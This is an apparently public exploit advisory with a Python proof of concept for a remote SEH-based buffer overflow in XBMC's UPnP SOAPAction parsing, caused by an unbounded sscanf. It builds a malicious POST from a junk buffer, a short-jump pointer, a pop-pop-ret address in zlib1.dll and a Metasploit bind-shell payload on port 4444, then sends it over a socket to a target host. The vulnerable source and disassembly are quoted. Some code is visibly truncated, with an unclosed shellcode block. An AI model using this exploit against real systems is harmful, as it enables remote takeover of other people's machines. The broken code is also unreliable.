XBMC 9.04.1r20672 - 'soap_action_name' POST UPnP 'sscanf' Remote Buffer Overflow













#!/usr/bin/env python 

'''                   - XBMC upnp Remote Buffer Overflow -
! Exploit Title: Xbmc soap_action_name post upnp sscanf buffer overflow !
Date: 28th October 2010
Author: n00b  Realname: *carl cope* 
Software Link: http://xbmc.org/download/
Version: All versions are affected.
Tested on: Windows xp sp3,Vista sp2.
XBMC 9.04.1r20672 compiled june 2 2009. <--Version tested.

Well i had a little time to spare so i decided to revisit the
xbmc application and give it another look over which is a good
thing as i just have not had to time to work on exploit development 
lately and have to put more important things first unfortunately.

I decided to test the upnp protocol that was built into xbmc using the
Platinum UPnP SDK.And come across a sscanf buffer overflow
as you can see in the source code at the bottom of this exploit
that 100 bytes is allocated into a temp stack and then passed to
the sscanf function with no bounds check in place then its finally 
passed to PLT_HttpHelper::ParseBody which reads the xml body and parse it.
I've tested this exploit on windows and linux both work (Read comments).

All versions of xbmc where tested even the Dharma Beta 3 release is
also exploitable.But as ive worked with the xbmc developers before i 
know it will be fixed and patched as soon as i have informed them
great guys unlike other vendors i've worked with in the past.

I know the vulnerable function was marked with FIX ME = no sscanf.
They must have either missed it or have not got round to fixing this
yet.(See bottom of exploit for code)

The buffer overflow exists because of the vulnerable sdk used in the 
xbmc application.All versions of xbmc are exploitable but version 9.11
modules is compiled with seh protection.And i know previous release 
loaded the zlib1 module which was not compiled with safe seh.

See poc code for information and list of vendors.!!


The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!

import sys, socket 
import struct

#Windows version does not change port every time its restarted.!!
#linux version changes port every time xbmc is restarted.!!

port = 52569 #You will have to find it on vuln server.
host = sys.argv[1] 

'''          !!IMPORTATNT!!                       
The UUID must be set i've hardcoded this 
to make it easy to replace with the victim UUID
you can get the UUID number from the server
by issuing a get request to the vulnerable server
on port 00000 you can use a web browser to do this.
example =

Just a side note the port is random and once the xbmc
application is installed the UUID will be set up along 
with the port number at installation so you will have to 
do a port scan to find what port the service is running
on but once its found it will be on that port till it 
is reinstalled.Also the UUID will stay the same.

Universally Unique Identifier
XML example

I was not going to write an xml paraser just for this
when a web browser and a set of eyes can do it.:)

Xbmc media player uses the Platinum UPnP SDK 

#Create upnp request and place it in Request !!
Start_url ='AVTransport/'
Uuid = '1edcbdab-e75b-57fe-dbfa-55cc24ee630c' #Replace with the vuln server's Universally Unique Identifier. 
End_url ='/control.xml HTTP/1.1\n'
Soap = 'SOAPACTION: "urn:schemas-upnp-org:service:AVTransport:1#'
Junk_buffer1 = 'A'*128
Junk_buffer2 = 'B'*100

###The same address i used for the last xbmc exploits.
###/SafeSEH Module Scanner, item 55
# SEH mode=/SafeSEH OFF
# Base=0x62e80000
# Limit=0x62e97000
# Module Name=C:\Program Files\XBMC\zlib1.dll
###This was found in the module zlib1 and is universal.
#62E83BAC   5B               POP EBX
#62E83BAD   5D               POP EBP
#62E83BAE  ^E9 CDD9FFFF      JMP zlib1.compressBound

Pointer_To_Next_SEH = struct.pack('<L',0x909006eb)
SE_Handler = struct.pack('<L',0x62E83BAC)
Content_type = '\nCONTENT-TYPE:text/xml; charset="utf-8"\n'
Host = 'HOST:\n'
Content_length = 'Content-Length: 345'

Shell_code=(#/*win32_bind -  EXITFUNC=seh LPORT=4444 Size=696
            #Encoder=Alpha2 http://metasploit.com */

# create a socket object called 'c' 
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

# connect to the socket 
c.connect((host, port)) 

Request = (Start_url + Uuid + End_url + Soap + Junk_buffer1 + Pointer_To_Next_SEH +
 SE_Handler + Shell_code + Junk_buffer2 + Content_type + Host + Content_length)

# create a file-like object to read 
fileobj = c.makefile('r', 0) 
fileobj.write("POST /"+Request+"") 

#                  -Vulnerable source code-
# This information was found using windows 7 + Visual c++ 2010 express.

# .\xbmc\xbmc\lib\libUPnP\Platinum\Source\Core\PltDeviceHost.cpp

# /*----------------------------------------------------------------------
# |   PLT_DeviceHost::ProcessPostRequest
# +---------------------------------------------------------------------*/
# NPT_Result
# PLT_DeviceHost::ProcessHttpPostRequest(NPT_HttpRequest&              request,
                                       # const NPT_HttpRequestContext& context,
                                       # NPT_HttpResponse&             response) 
# {
    # NPT_Result                res;
    # NPT_String                service_type;
    # NPT_String                str;
    # NPT_XmlElementNode*       xml = NULL;
    # NPT_String                soap_action_header;
    # PLT_Service*              service;
    # NPT_XmlElementNode*       soap_body;
    # NPT_XmlElementNode*       soap_action;
    # const NPT_String*         attr;
    # PLT_ActionDesc*           action_desc;
    # PLT_ActionReference       action;
    # NPT_MemoryStreamReference resp(new NPT_MemoryStream);
    # NPT_String                ip_address  = context.GetRemoteAddress().GetIpAddress().ToString();
    # NPT_String                method      = request.GetMethod();
    # NPT_String                url         = request.GetUrl().ToRequestString(true);
    # NPT_String                protocol    = request.GetProtocol();

    # if (NPT_FAILED(FindServiceByControlURL(url, service, true)))
        # goto bad_request;

    # if (!request.GetHeaders().GetHeaderValue("SOAPAction"))
        # goto bad_request;

    # // extract the soap action name from the header
    # soap_action_header = *request.GetHeaders().GetHeaderValue("SOAPAction");
    # soap_action_header.TrimLeft('"');
    # soap_action_header.TrimRight('"');
    # char prefix[200];
    # char soap_action_name[100];                    <--- 100 bytes allocated for the soap action name.
    # int  ret;
    # //FIXME: no sscanf
    # ret = sscanf(soap_action_header, "%[^#]#%s",   <--- 
                 # prefix,                           <--- Bad very Bad.
                 # soap_action_name);                <--- 
    # if (ret != 2)
        # goto bad_request;

    # // read the xml body and parse it
    # if (NPT_FAILED(PLT_HttpHelper::ParseBody(request, xml))) <--- BOOOM I WIN!!
        # goto bad_request;

# Disassembly of vulnerable function.!!
# ==================================
# 025D2D23  lea         edx,[ebp-1F4h]  
# 025D2D29  push        edx  
# 025D2D2A  lea         eax,[ebp-188h]  
# 025D2D30  push        eax  
# 025D2D31  push        2F5E404h  
# 025D2D36  lea         ecx,[ebp-44h]  
# 025D2D39  call        NPT_String::operator char const * (1B1840Eh)  
# 025D2D3E  push        eax  
# 025D2D3F  call        @ILT+120575(_sscanf) (1AF7704h)  
# 025D2D44  add         esp,10h  
# 025D2D47  mov         dword ptr [ebp-1FCh],eax